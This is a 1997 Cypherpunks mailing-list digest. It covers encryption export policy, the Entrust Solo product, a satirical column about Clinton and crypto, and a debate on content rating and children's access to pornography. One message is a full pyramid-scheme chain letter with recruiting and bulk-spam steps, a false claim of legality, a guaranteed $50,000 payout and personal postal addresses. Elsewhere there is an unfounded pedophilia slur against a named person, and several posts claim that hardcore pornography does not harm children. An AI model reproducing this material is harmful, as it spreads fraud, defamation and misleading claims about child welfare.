>located at  and
>it sounds exactly like a manual for some rather specialized computer
>language dealing with mathematical objects that can be subjected to
>various rotations and other transformations.  






From jai at mantra.com  Wed Jul 30 10:14:00 1997
From: jai at mantra.com (Dr. Jai Maharaj)
Date: Thu, 31 Jul 1997 01:14:00 +0800
Subject: Entrust Technologies's Solo - free download
In-Reply-To: <199707301555.LAA00073@mail.storm.ca>
Message-ID: <3.0.2.32.19970730064653.00948280@caprica.com>



At 11:55 AM 7/30/97 -0400, Sandy Harris wrote:
> Dr.Dimitri Vulis KOTM  writes:
>>> Entrust Technologies (www.entrust.com) has made Solo available 
>>> for download, free . . .
>
>> I ask everyone on these two forums to inform
>> Northern Telecom Forgers / Bell North Forgery Research/
>> Entrust that we will boycott their "security" products
>> as long they continue to employ the child-molesting
>> pedophile Chris R. Lewis - the biggest forger on Usenet.
>
> [...]
> What this scum is actually upset about is Chris Lewis cancelling
> spam. He calls that "forgery" because the spammer's name goes
> in the sender field of the cancel message. Nonsense. . . .
>  -  Sandy Harris

Forgery is a crime and such acts are not justified.

Jai Maharaj
jai at mantra.com
Om Shanti







From declan at well.com  Wed Jul 30 10:34:05 1997
From: declan at well.com (Declan McCullagh)
Date: Thu, 31 Jul 1997 01:34:05 +0800
Subject: Netly's Walter Miller talks crypto with President Clinton
Message-ID: 



*************

Date: Wed, 30 Jul 1997 13:04:35 -0400
To: fight-censorship-announce at vorlon.mit.edu
From: Declan McCullagh 
Subject: FC: Netly's Walter Miller talks crypto with President Clinton
X-FC-URL: Fight-Censorship is at http://www.eff.org/~declan/fc/
ReSent-Date: Wed, 30 Jul 1997 13:12:16 -0400 (EDT)

Walter Miller is Netly's roving, raving, and notoriously misspelling
columnist. He's recently been keeping on top of cyber-rights issues.

Not long ago, Walter Miller had brunch with the Supreme Court justices, and
told them the dos and don'ts of web site design. "I also made sure to
sugest that the US Supreme Court get a password- protected Intranet too --
to post stuff like cafateria specials, snow days, even forums where they
coud flame eachother. Or maybe secretly play network Diablo on laptops
right there on the bench during boring testimony":

  http://pathfinder.com/netly/editorial/0,1012,1125,00.html

Then he took on the University of Memphis, which tried to wipe out a
student's "Old People" site. "Sections on the site include Geezer News,
(mostly newswire acounts of elderly motoring mishaps), and a humor page the
likes of this: Q: What's 1,000 feet long and smells like urine? A: The
conga line at Century Village":

  http://pathfinder.com/netly/editorial/0,1012,1196,00.html

Now Walter Miller writes about encryption, and his Granfather's long
history of crypto-talk with President Clinton (who apparently goes by the
alias BUBBA1)...

-Declan

***********

http://pathfinder.com/netly/editorial/0,1012,1227,00.html

The Netly News Network
Walter Miller (http://pathfinder.com/netly/wmiller/)
Trailer Trash on the Infobahn
for the week starting July 30, 1997

An Encrypted Freindship
by Walter Miller (thenetlynews at pathfinder.com)

  My Granfather isnt just a crankey old S.O.B. he's also a
  longtime F.O.B., or 'Freind Of Bill'; No, not Bill
  Gates--the slightley less inportant one: Bill Clinton. (The
  othor Bill probly HAS no freinds...Sorry, that was mean
  spirrited of me, and inspired out of jealousy--but atleast i
  can ADMIT it.)

       But Gramps and Bill Clinton realy ARE freinds.
  They met during the '72 Presidential race. Clinton was 26
  and George McGovorn's Texas campaign chair.
  Granfather was a low-ranking precinct leador. The two
  were tossin back coldies one night after a rubber chicken
  event at a motel out onthe I-10. Eyeing 2 bellbottomed
  chicks at the bar, Bill winked at Gramps; he winked back,
  scribbling with a pen on a napkin: "YOU TAKE THE
  YOUNG CUTIE. ILL TAKE THE OL' UGLY ONE".
  Both men nodded. Unable to read Grampy's scrawl, the
  gals never cought on. Thus began a 25-year freindship
  based on encryption which contineus to this day.

       Well, neithor man got lucky that night, and
  McGovern lost Texas in a 49-state landslide. (Granfather,
  a conservotive Democrat, ended up votting for Nixon).
  But encryption has come along way since. And so has the
  mop-topped boy from Hope.

       Not only did Granps let him keep his favvorite
  ballpoint pen, they both kept in touch. Last week they
  were in toutch allot. It was about the new Encryption bill
  that just passed Congress. Granps suported it while the
  President was agianst it. They hotly discussed it by e-mail
  for a few days, till this mesage arrived:

         Return-Path: whitehouse.gov
         Received: from (ENCRYPTED)
         Message-ID: (ENCRYPTED)
         X-Mailer: (ENCRYPTED)
         MIME-Version: 1.0
         Content-Type: text/plain;
         charset="us-ascii"
         Content-Trans-Encod: 7bit
         :
         From: "Bubba1"
         To: "Granpy"
         Subject: (ENCRYPTED)
         Date: Sun, 27 Jul 97 09:36:55
         -0400
         :
         Dear Sir:
         POTUS suggests e-mail is not the
         best forum for this discussion.
         Please meet POTUS tonite, 8PM,
         EDT in (ENCRYPTED) Chat. The
         regular place.
         :
         On behalf of POTUS,
         Your pal,
         :
         "VPOTUS"
         :
         P.S. Don't worry, POTUS tells me
         it won't take so long as to cut
         into the X-Files, which my
         (ENCRYPTED) sources tell me is
         a repeat anyway.
         :
         =-=-=-=-=-=-=-=-=-=-=-=
         This is my sig.
         tHIs iS mY SIg ON dRUGs
         =-=-=-=-=-=-=-=-=-=-=-=

  Of cuorse, "POTUS" is President of the United States and
  'VPOTUS' is Mr. Gore. (Just like most big inportant
  exetcutives in the private sector, there's always some
  low-level lacky handling the adminostrative end of his
  E-mail.)

       Later that evening, their convorsation contineud, but
  this time in chat:

         Granpy: YOU OUT THERE, BUBBA?
         Bubba1: Right here, Gramps.
         Sweet4U: Who else is out there?
         Prowler: I'm here. Whos there?
         Granpy: I TELL YUH, BUBBA I
         AIN'T GLOATING, BUT I'M GLAD
         ABOUT THET THAR NEW ENCRYPTION
         BILL.
         Bubba1: Well, Gramps, I did have
         reason to oppose it.
         Prowler: Hey Granpy--ALL CAPS
         are for SHOUTING ONLY
         Granpy: I AM SHOUTING
         Sweet4U: Bubba, age, M/F?
         Bubba1: Um...uh, well, Shucks...
         Prowler: Prowler here.
         (((BURP!))) Who's out there?

  Needless to say, this chat thread, like most, soon
  descended into the ininteligible drivol of a dozen voices
  saying nothing to no one in particulor.

       So Gramps and the Presidant took it private.

         Bubba1: Geez, that garbled
         chatroom drivel sounded like my
         last cabinet meeting.
         Granpy: NO WONDER REAGAN USED TO
         FALL ASLEEP IN HIS, HUH?
         Bubba1: LOL! Who needs
         encryption when you've got IRC
         chat!
         Granpy: LEVITY ASIDE MR. PREZ,
         BUT WHO NEEDS ENCRYPTION WHEN THE
         GOVORMINT HAS THE SOFTWARE KEYS?
         Bubba1: Oooh. That was cold,
         Granps.

  Yes, Granfather had hit a nerve with that one. The gist of
  the encryption bill was to allow US companies to export
  encryption technollogy. Right now America's ass is
  getting kicked in the world market cause we're not allowed
  to sell encyprtion software while foriegn competittors are
  alredy doing it. Mr. Clinton had opposed the bill, but
  would of alowed it only if the US Govorment--yes, the
  US Goverment was given access to the software keys to
  be able to crack the codes.

         Granpy: WHY DON'T WE ALL JUST
         SURRENDER OUR NET PASSWORDS, HUH?
         HOW 'BOUT OUR BANK ATM PASSWORDS,
         AND CREDIT CARD PINS?
         Bubba1: Come on, Gramps. I had
         the FBI and the DEA on my side on
         this, not to mention members of
         both parties. What about
         international spies? What about
         drug kingpins? They use encrypted
         technology.

  Uh, ecxuse me Mr. President, but spies and druglords
  also use the telephone and the U.S. Mail. And when you
  need to put badguys under survellance, you simply get a
  court ordor, and you do it. I have to agree with Granfather
  on this. And I cant help but think that mabye a little of the
  high-profile hand- wringing abbout encryptoin exports
  might be just some old fashionned low-tech fear of
  computers.

       And besides. Nothin personal, but I use my conputer
  for private corespondence. My browsing logs, purchasing
  habbits and credit card numbers are here too, and I dont
  want them falling into the wrong hands. Or, perhaps,
  falling onto the desk of some fat guy in the White House
  basement in charge of 'security' who no one
  remmemmbers hiring. Granfather relayed my concerns to
  the Prez.

         Bubba1: Is that what your
         grandson said? I feel his pain.
         Granpy: HE'LL BE FEELIN MINE ON
         HIS SKINNY ASS IF HE DONT GIT ME
         A BEER, LIKE I DONE ASKED HIM TO.
         Bubba1: LOL!

       In any case, their disagreement on this one isseu
  hasnt hurt Granfather's and Clinton's freindship any.
  Funny thing is, theyve relied on encryption to maintain it
  in secrecy. (A close freindship with Granfather is bound to
  be a politicol liability, if you think abbout it). And
  somhow I think the president is better at 'encryption' than
  he thinks--Ive ben readin in the papers about Whitewater
  for 5 years now: The president seems unscaithed, and I
  still dont know what the hell is going on.

         Bubba1: Do you think my loss on
         the encryption bill will hurt my
         approval rating?
         Granpy: YOU KIDDING? WHAT'RE YOU
         AT, 68 PERCENT? HELL, TWO MORE
         POINTS, YOU KIN START DATING
         AGINN, BOY.
         Bubba1: ROTFL! Seriously--you
         think this chatroom is secure?
         Granpy: YUP. UNLESS NEWT OR AL
         ARE HACKIN' IN.
         Bubba1: Those guys? Everything
         Al knows about computers he
         learned from his kids. And Newt
         still goes to Newsgroups for
         news.
         Granpy: YEH, THE NEWS IN
         BINARIES, I'D BETCHA.
         Bubba1: LOL! Hey, BTW, speaking
         of 'non-family fare' I
         accidentally erased that gross
         .wav file from last week. Can you
         send it again?
         Granpy: SEND IT? GIMME A MINUTE
         AND I'LL BE ABLE TO MAKE IT AGINN
         FOR YOU, LIVE.
         Bubba1: HAH! I'll leave you
         Newt's private phonemail; you can
         leave it for him there.
         Granpy: SO, BUBBA--D'YOU STILL
         LIKE ENCRYPTION?
         Bubba1: Know what, Grampy? I
         like privacy better. Handing
         over encryption keys to the
         government sucks.
         Granpy: HERE IT COMES...NOW,
         BUBBA, NOW
         Bubba1: OH! Hold that, er
         "thought" another second, I'll
         give you Newt's secret
         number...typing...Got a pencil?
         area code (202) (ENCRYPTED)...

  ...And this is where the convorsation seemed to end. Or at
  least, it was the last I got of it that wasnt garboled.

###


-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/


--------------------------------------------------------------------------
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From paul at fatmans.demon.co.uk  Wed Jul 30 11:01:15 1997
From: paul at fatmans.demon.co.uk (Paul Bradley)
Date: Thu, 31 Jul 1997 02:01:15 +0800
Subject: Cryptography Question (I hope it's not off-topic on this list)
In-Reply-To: <199707281537.RAA09388@basement.replay.com>
Message-ID: 





>   e.g. - If only 56-bit encryption becomes legal, is there a method
> of *chaining* several passes of 48-bit encryption which would make it
> just as hard to break as 96/192/384-bit (etc.) encryption?

This is a similar idea to implementing, say DES, with independent 
subkeys. Layering encryption in this manner makes the plaintext more 
difficult to determine providing that:

a. The involved cryptosystem is not a group, or does not posess strong 
group like properties (eg. There are no large subgroups).

b. Independent keys are used for each encryption

For a good example of a particular case of your idea see 3DES

>   If this is indeed impossible, then perhaps the government might pass
> a law that makes it illegal to encrypt an encrypted file, but experience
> seems to suggest that any law passed always leaves a loophole or back
> door for inventive people to circumvent it.

This law would be difficult to pass, because it is essentially saying 
some sets of data may be encrypted and some not, and there are lots of 
ways out to give plausible deniability "It isn`t an encrypted file 
officer, it`s random bits being encrypted as cover traffic", if the 
cryptosystem is strong the cyphertext shouldn`t be distinguishable from 
random values.

As for circumventing it, any law such as this should just be ignored.

        Datacomms Technologies data security
       Paul Bradley, Paul at fatmans.demon.co.uk
  Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"







From paul at fatmans.demon.co.uk  Wed Jul 30 11:09:16 1997
From: paul at fatmans.demon.co.uk (Paul Bradley)
Date: Thu, 31 Jul 1997 02:09:16 +0800
Subject: Yet another self-labeling system (do you remember -L18?)
In-Reply-To: <33DCB302.70F58811@cptech.org>
Message-ID: 




>    What is your strategy to avoid RSACi type systems?  To persuade
> parents that there is no need to censor kids from graphic images of
> sexual acts?  Good luck.  

Persuation is not the point, it is not necessary to persuade people that 
censorship is morally wrong in order for it to be so.

        Datacomms Technologies data security
       Paul Bradley, Paul at fatmans.demon.co.uk
  Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From MCE at CWNet.com  Thu Jul 31 02:10:12 1997
From: MCE at CWNet.com (MCE)
Date: Thu, 31 Jul 1997 02:10:12 -0700 (PDT)
Subject: KNOCK KNOCK
Message-ID: <199707310857.BAA09811@borg.cwnet.com>




I apologize for intruding on your mailbox. No need to respond to a remove list, this is the only email you will receive from me unless I hear
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from each of the four (4) names listed below. 
For each Report you will need to send $5 US dollars CASH and a self addressed
stamped envelope (BUSINESS SIZE #10)to the person listed for the SPECIFIC 
REPORT.
International orders: should include an extra $1 US dollar for postage. 
IT IS ESSENTIAL- That you specify the full NAME and NUMBER of the REPORT 
requested to the person you are ordering from.
You will need ALL 4 REPORTS because you will be  REPRINTING and RESELLING 
them.
DO NOT alter the names or sequence other than what the instruction say.
IMPORTANT: ALWAYS provide "SAME DAY" service on all return orders.

REQUIRED REPORTS

*** Order each REPORT by NUMBER and NAME***

ALWAYS SEND A SELF ADDRESSED STAMPED ENVELOPE AND $5 DOLLARS cash FOR EACH 
ORDER REQUESTING THE SPECIFIC REPORT BY NAME AND NUMBER

======================================================

REPORT #1
"HOW TO MAKE $250,000 THROUGH MULTI-LEVEL SALES"
ORDER REPORT #1 

SEND $5.00 CASH AND A SELF ADDRESSED ENVELOPE

TO:

MCE Marketing
P.O. BOX 0647
Folsom , Ca.
95763-0647

======================================================

REPORT#2
"MAJOR CORPORATIONS AND MULTI-LEVEL SALES"
ORDER REPORT#2 

SEND $5.00 CASH AND SEND  SELF ADDRESSED ENVELOPE 

TO: E. E. KAMPER
10501NW 66TH ST
PARKLAND, FL
33076

======================================================

REPORT#3
"SOURCES OF THE BEST EMAILING LISTS"
ORDER REPORT#3

SEND $5.00 CASH AND A SELF ADDRESSED STAMPED ENVELOPE

TO:
R.M. MILLS
5030 CHAMPION BLVD.
SUITE #6-441
BOCA RATON, FL 
33496	v

======================================================

REPORT#4
"EVALUATING MULTI-LEVEL SALES PLANS"
ORDER REPORT#4 

SEND $5.00 CASH AND A SELF ADDRESSED STAMPED ENVELOPE

TO:

E.H. HARP
10693 WILES RD.
SUITE 303 CORAL SPRINGS, FL
33076

======================================================
VERY IMPORTANT !!!!!!!!!!!!!!!!!!!!!
INSTRUCTIONS WHICH MUST BE FOLLOWED!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

DO THE FOLLOWING NUMBERED STEPS ONLY AFTER RECEIVING  ALL (4) REPORTS FROM 
THE ABOVE LISTED DISTRIBUTORS.

STEP (2)
Replace the name and address under REPORT#1 with yours, moving the name and 
address that was there DOWN to REPORT#2.
Drop the previous name and address under REPORT #2 to REPORT#3
Drop the previous name and address under REPORT #3 to REPORT#4
The name and address that was in the REPORT#4 position is now removed from 
the list and discarded, this party is no doubt on the way to the bank!
WHEN YOU ARE DOING THIS MAKE SURE YOU TAKE SPECIAL CARE IN TYPING ALL NAMES 
AND ADDRESSES CORRECTLY.
DON�T MIX UP THE PROCEDURE/REPORT POSITIONS.

STEP(3)
Having made the required changes to this document save it as a text (*.TXT) 
file  in its own directory to  be used with whatever email program you use.
REPORT #3 will tell you the best bulk emailing methods and how to acquire 
email lists.

STEP (4)
Email a copy of the entire program (all of this is very important) to 
everyone�s address that you can get your hands on. If you like start with  
friends and relatives since you can encourage them to  take advantage of 
this  fabulous money-making program. READ the FOUR REPORTS for where to get 
email lists. Search the Internet for the best prices.
IMPORTANT: YOU WONT GET A GOOD RESPONSE WITH AN OLD EMAIL LIST. SO, ALWAYS 
REQUEST A FRESH NEW LIST!!!

ALWAYS PROVIDE "SAME DAY" SERVICE ON ALL ORDERS!!!!!!!
- - - - - - - - - - - - - - - - - - - - - - - - - -
CONCLUSION:

I am enjoying the future that I made by sending out this program, You too 
will be making money in 20 to 90 days, if you follow the simple steps 
outlined in this program.

To be financially independent to be FREE!  Free to make financial decisions 
as never before. Go into business, get into investments retire or take a 
vacation. No longer will the lack of money hold you back.

However, very few people reach financial independence, because when 
opportunity knocks, they choose to ignore it. Its much easier to say "NO" 
than "YES", and this is the question that you must answer. Will YOU ignore 
this amazing opportunity or will you take full advantage of it? If you do 
nothing you have indeed missed something and nothing will change. Please 
re-read this material this is a special opportunity. If you have any 
questions regarding this program, please feel free to write the sender of 
this information. You will get a prompt and informative reply.

My method is simple. I sell thousands of people a product for $5.00 that
cost me pennies to produce and email. I should also point out that this 
program is legal and everyone who participates WILL make money.

	This is not a chain letter or pyramid scam. You may have received 
chain letters in the past asking you to send money , on faith, but getting 
nothing in return, NO product whatsoever! Not only are chain letters illegal 
but the risk of someone breaking the chain makes them quite unattractive.

	You are offering a legitimate product to your down line distributors.
 After they purchase from you they reproduce it and sell it to others. Its 
simply free enterprise at its best! As you have learned from the enclosed 
material, the PRODUCT is a series of  4 FINANCIAL AND BUSINESS REPORTS. 

The information contained in these reports will not only help you in making 
your participation in this program more rewarding, but will be useful to you 
in any other business decisions that you make in the years ahead. You are 
also buying the rights to reprint all of the REPORTS, which will be ordered 
from you by those whom you mail this program. The concise one and two page 
REPORTS you will be buying are easily reproduced at a local copier center 
for an average cost of  3 cents a copy. Best wishes with the program and 
good luck!
- - - - - - - - - - - - - - - - - - - - - - - - - - - 
"IT WAS TRULY AMAZING"

Not being the gambling type. It took me several weeks to make up my mind to 
participate in this program. But Conservative as I am, I decided that initial
investment was so little that there was no way that I could NOT get enough 
orders to get my small investment back. BOY, was I ever surprised when I 
found my medium sized post office box crammed with orders. I will make more 
money this year than I have in the past 10 years of my life, before I  
started this program.

Mary Riceland, Lansing. MI
- - - - - - - - - - - - - - - - - - - - - - - -
TIPS FOR SUCCESS

Send for your 4 REPORTS immediately so you will have them when the order 
start rolling in. When you receive your $5 dollar order you MUST send out 
the Product/service in order to comply with US Postal and Lottery Laws.
Title 18 Sections 1302 and 1341 specifically state that: "A PRODUCT OR 
SERVICE MUST BE EXCHANGED FOR MONEY RECEIVED".
- - - - - - - - - - - - - - - - - - - - - - - - 
WHILE YOU WAIT FOR YOUR REPORTS TO ARRIVE:

1. Name your company, File for a fictitious business license at your county 
clerks office (+/- $15.00) if you don�t use your name as the companies name.

2. Get a post office box (preferred).

3. Edit the names and address�s on the program. You must remember that your 
name or your business name and address goes next to REPORT#1. And all the 
others move DOWN 1, with  the fourth being drooped off the list all together.

4. OBTAIN AS MANY EMAIL ADDRESS AS YOU CAN GET YOUR HANDS ON, Read REPORT 
#3 for information on mailing list companies.

5. Decide on the Number of PROGRAMS you need to send out to meet your 
financial goal. The more you send and the quicker you send them, the more 
money you will make.

6. After mailing the programs get ready to fill the orders.

7. Copy the 4 REPORTS so that you can send them out AS SOON as you receive 
an order.  IMPORTANT: ALWAYS PROVIDE SAME DAY SERVICE ON THE ORDERS YOU 
RECEIVE.!

8. Make certain all letters and reports are neat and legible.
- - - - - - - - - - - - - - - - - - - - - - - - -
YOUR GUARANTEE

The check point that GUARANTEES your success is simply this: you must receive
15 to 20 orders for report #1. This is a must. If you don�t with in 2 weeks 
email out more programs.

Then a couple of weeks later you should receive 100 or more orders for  
report #2. (Take a deep  breath) you can now sit back and relax , Because 
YOU ARE GOING TO MAKE AT LEAST $50,000!!!!!!, Mathematically it is a proven 
guarantee. Of those who have participated in the program and reached the 
above GUARANTEES-ALL have reached their  $50,000 goal. Also, remember, 
every time that your name is moved down the list  you are in front of a 
different REPORT. You can keep track of your status in the program by which 
REPORT people are ordering from you. IT�S THAT EASY!!!REALLY, IT IS!!!!!!!!!!

REMEMBER:
"HE WHO DARES NOTHING, NEED NOT HOPE FOR ANYTHING."
"INVEST A LITTLE TIME, ENERGY , MONEY NOW OR SEARCH FOR IT THE REST OF YOUR 
LIFE"
- - - - - - - - - - - - - - - - - - - - - - - - - 
end of program
<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><>
DO NOT INCLUDE THE FOLLOWING INFORMATION IN THE REPLICATION OF THIS PROGRAM!!
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 

"MCE MARKETING" PROUDLY PRESENTS->

MCE MARKETING�S 5.5 MILLION EMAIL ADDRESS PROMOTIONAL GIVEAWAY!!

As a immediate DOWNLINE DISTRIBUTOR, MCE MARKETING will provide you with 25,000 freshly compiled and targeted email address�s and step by step instructions on how implement your distribution. Including Instructions on Pegasus Email download/ installation
 and operation. (YOUR ADDRESS�s ARE FORMATTED AS PEGASUS EMAIL DISTRIBUTION LISTS.) You will receive all the information in easy to read and follow instructions on how to participate in this exciting promotion. 


This is an exclusive offer to the first 220 immediate DOWNLINE DISTRIBUTORS who purchase REPORT #1 "�HOW TO MAKE  $250,000 THROUGH MULTI-LEVEL SALES� from MCE MARKETING, for this program offer only.!!!!!!!!!!!!!!!!!!  THAT�S A  5.5 MILLION EMAIL ADDRESS 
PROMOTIONAL GIVE AWAY!!!!!!!!!!!!!!!!

DON�T MISS OUT!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

THIS OFFER IS GOOD ONLY AS LONG AS SUPPLIES LAST. MCE WILL  NOT SEND OUT DUPLICATE ADDRESS LISTS AND THIS LIST IS NOT FOR SALE,  AS THIS WOULD DEFEAT THE PURPOSE OF THIS UNIQUE MLM PROMOTION.








From love at cptech.org  Wed Jul 30 11:12:01 1997
From: love at cptech.org (James Love)
Date: Thu, 31 Jul 1997 02:12:01 +0800
Subject: Yet another self-labeling system (do you remember -L18?)
In-Reply-To: 
Message-ID: <33DF81CF.1662D004@cptech.org>



Paul Bradley wrote:
> 
> >    What is your strategy to avoid RSACi type systems?  To persuade
> > parents that there is no need to censor kids from graphic images of
> > sexual acts?  Good luck.
> 
> Persuation is not the point, it is not necessary to persuade people
> that
> censorship is morally wrong in order for it to be so.

     Well, if persuasion is "not necessary," then why do you care about
anyone's views on this?

    On your other point, I really don't agree that is morally wrong to
take steps to prevent children from having access to pornography. 
People may propose ways of doing this which are objectionable, but the
basic goal is hardly immoral.  Indeed, many think it is immoral not to
protect children.

                Jamie

_______________________________________________________
James Love | Center for Study of Responsive Law
P.O. Box 19367 | Washington, DC 20036 | 202.387.8030
http://www.cptech.org | love at cptech.org






From apache at bear.apana.org.au  Wed Jul 30 11:16:28 1997
From: apache at bear.apana.org.au (Apache)
Date: Thu, 31 Jul 1997 02:16:28 +0800
Subject: 7-29_b8_EXTRA_Internet.html
In-Reply-To: 
Message-ID: <199707301806.EAA00408@bear.apana.org.au>



   amp at pobox.com said:

>Personally, I found the article about web gaming to be rather funny.
>
>I wonder about the quality of the 'prng' used by these casinos.
>
>There are, indeed, suckers born every minute.

Yes indeed. For me the highlight, however, was the gubmints sharing, 
caring attitude. It's almost enough to prompt me to gamble online just to 
be cared for by the nurturing angels.

-- 
   .////.   .//    Charles Senescall             apache at bear.apana.org.au
 o:::::::::///                                   apache at quux.apana.org.au
>::::::::::\\\     Finger me for PGP PUBKEY            Brisbane AUSTRALIA
   '\\\\\'   \\    Apache






From tzeruch at ceddec.com  Wed Jul 30 11:35:57 1997
From: tzeruch at ceddec.com (tzeruch at ceddec.com)
Date: Thu, 31 Jul 1997 02:35:57 +0800
Subject: Entrust Technologies's Solo - free download
In-Reply-To: 
Message-ID: <97Jul30.141811edt.32257@brickwall.ceddec.com>



On Wed, 30 Jul 1997, Michael C Taylor wrote:

> Entrust Technologies (www.entrust.com) has made Solo available for
> download, free for 30-day evaluation & edu/non-profit. For Win95/NT.
> A mere $49 Cdn (~35 US) for commerical usage...
> 
> For e-mail / file encryption, digital signature
> 
> Solo uses 128-bit encryption, which is CAST-128, the royality-free
> algorithm invented at Entrust/NorTel. It also uses 1024-bit RSA public-key
> cryptography and has DES, Triple DES available. 

It would be interesting to know how they managed to do it.  The fine print
in the license says it cannot be exported from the US and Canada without a
license (which a second press release says they have, but doesn't say they
had to do anything to the program in order to obtain it).

> Also follows FIPS 140-1 validated security kernel. It is compatible with
> other Solo clients (of course), Entrust/Lite and Entrust. 
> 
> It looks like PGP Inc might have some decent competition. I assume that
> it won't have the market pentration of PGP, but at least it will make a
> dent and might force PGP Inc. to make their product robust and flexiable.

PGP 5 uses CAST (and 3DES and IDEA), with DH/DSA/SHA (or MD5 or RIPEM, and
with an RSA backward mode).  Does anyone know which hash algorithm
Entrust/Solo uses? 

> "Offer not valid in Libya, Iran, Iraq, Cuba, Angola, Syria, and North
> Korea"

--- reply to tzeruch - at - ceddec - dot - com ---






From dave at kachina.jetcafe.org  Wed Jul 30 11:58:51 1997
From: dave at kachina.jetcafe.org (Dave Hayes)
Date: Thu, 31 Jul 1997 02:58:51 +0800
Subject: Entrust Technologies's Solo - free download
Message-ID: <199707301842.LAA16904@kachina.jetcafe.org>



Sandy Harris writes:
> Cypherpunks & Freedom Knights. Both should be very happy to
> see strong encryption becoming more widely available.

Yes, we are.

> >as long they continue to employ the child-molesting
> >pedophile Chris R. Lewis - the biggest forger on Usenet.
> What this scum is actually upset about is Chris Lewis cancelling
> spam. He calls that "forgery" because the spammer's name goes
> in the sender field of the cancel message. Nonsense.

According to RFC 1036 forging cancels for articles that do not
originate from your news site is not allowed. He is clearly in
violation of the RFCs. Spam jihads are not sufficient reason
to ignore internet protocols.

> Dimitri, the "forgeries" are going to continue until someone comes
> up with a better way of dealing with spam. 

There -is- a better way. It's called the delete key. Few seem to
want to use it, which fits with humanity's general lack of personal
responsibility. 

> The crap about pedophilia is also, of course, nonsense. It seems
> to be a favorite slur lately with several grossly misguided people
> who think calling people they dislike pedophiles is a way to
> "defend freedom of speech".

You have a better way to demonstrate free speech? 
------
Dave Hayes - Altadena CA, USA - dave at jetcafe.org 
Freedom Knight of Usenet - http://www.jetcafe.org/~dave/usenet

If trees could scream, would we be so cavalier about cutting them
down? We might, if they screamed all the time, for no good reason.







From paul at fatmans.demon.co.uk  Wed Jul 30 12:09:35 1997
From: paul at fatmans.demon.co.uk (Paul Bradley)
Date: Thu, 31 Jul 1997 03:09:35 +0800
Subject: Yet another self-labeling system (do you remember -L18?)
In-Reply-To: <33DCA6FE.32CB0327@cptech.org>
Message-ID: 





> Let me you way out on a limb, and suggest the following entries, from an
> infoseek search for the workd PICS, would be unabiguously inappropriate
> for children.
>
> Pissing, Fisting and beastiality! We go to great lengths to bring you
> the Good Old Fashioned ALL AMERICAN Pornography, Just Like Dad Used To
> Watch! Unfortunately, We can't bring you everything!
> 55%   http://adult.mdc.ca/free/xxxp.html     (Size 4.3K) 
> 
> Absolutely the RAUNCHIEST NASTIEST Barely Legal Anal Bitches ANYWHERE!! 
> The ultimate in anal, double anal, double penetration, sloppy oral, and
> gangbang action!!! 100% GUARANTEED free xrated pics Action!
> 
> 55%   http://adult.mdc.ca/free/xratedp.html     (Size 4.5K)


We can clearly come to no agreement here as I cannot see any material 
listed above which would be harmful in any way to a viewer, child or not. 

>     I don't think I need much justification to suggest that "the
> ultimate in anal, double anal, double penetration, sloppy oral, and
> gangbang action" is unsuitable for viewing by "a certain class of
> people," --- namely children.  Do you seriously dispute this?  If so,
> there isn't much point in debating this.  

Yes I do seriously dispute this. Can you tell me what in this material is 
damaging in any way, can you cite examples, can you give causal evidence 
of damage?

> That's what is going on now.  Why one would want to encourage this is
> beyond me.  Maybe fighting for the right to show  the "ultimate in anal,
> double anal, double penetration" to children has redeeming value that I
> don't appreciate.  

Then you fail to see the simple point of the redeeming value of true free 
speech, there are no grey areas, you either believe it or you don`t.

        Datacomms Technologies data security
       Paul Bradley, Paul at fatmans.demon.co.uk
  Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From alan at ctrl-alt-del.com  Wed Jul 30 12:29:05 1997
From: alan at ctrl-alt-del.com (Alan)
Date: Thu, 31 Jul 1997 03:29:05 +0800
Subject: Yet another self-labeling system (do you remember -L18?)
In-Reply-To: <33DF81CF.1662D004@cptech.org>
Message-ID: 



On Wed, 30 Jul 1997, James Love wrote:

> Paul Bradley wrote:
> > 
> > >    What is your strategy to avoid RSACi type systems?  To persuade
> > > parents that there is no need to censor kids from graphic images of
> > > sexual acts?  Good luck.
> > 
> > Persuation is not the point, it is not necessary to persuade people
> > that
> > censorship is morally wrong in order for it to be so.
> 
>      Well, if persuasion is "not necessary," then why do you care about
> anyone's views on this?
> 
>     On your other point, I really don't agree that is morally wrong to
> take steps to prevent children from having access to pornography. 
> People may propose ways of doing this which are objectionable, but the
> basic goal is hardly immoral.  Indeed, many think it is immoral not to
> protect children.

This makes an assumption that sexual material harms children.  Do you have
any data or studies that actually shows that to be true?

Curiosity about sex and sexuality is a normal part of growing up.
Protecting them from any sort of information on sex or sexuality does not
provide them any sort of service, and may in fact, cause them harm.

Pornography is a nice buzz word, but it hides the real issue.  Pictures
and words intended to describe sexual behaviour.  How this became such a
touchy issue is not due to any factual findings, but more due to moral and
emotional responses to the material by adults.  It is because of the
sheltering attitudes by the adults claiming the moral high ground that we
have so many people with confused attitudes about sex and sexuallity.
This is where the real harm comes in.  Ignorance helps no one.  (Except
the moralists pointing fingers and screaming "I told you so!".

The idea that children are somehow scarred and harmed by sexually explicit
material is without any foundation or evidence.  (Assuming they are able
to get real unfiltered information to make a correct descision and are not
getting guilt tripped for wanting that information.)

Note, I am not talking about sexual contact or any of the other boogie
men that the moralists and control freaks try to bring up.  Adolecence is
supposed to be a time to prepare for adulthood.  They are going to form
some sort of opinion one way or another.  If they get no information or
support before they are 18/21, they are going to wind up pretty screwed
up.


alan at ctrl-alt-del.com | Note to AOL users: for a quick shortcut to reply
Alan Olsen            | to my mail, just hit the ctrl, alt and del keys.






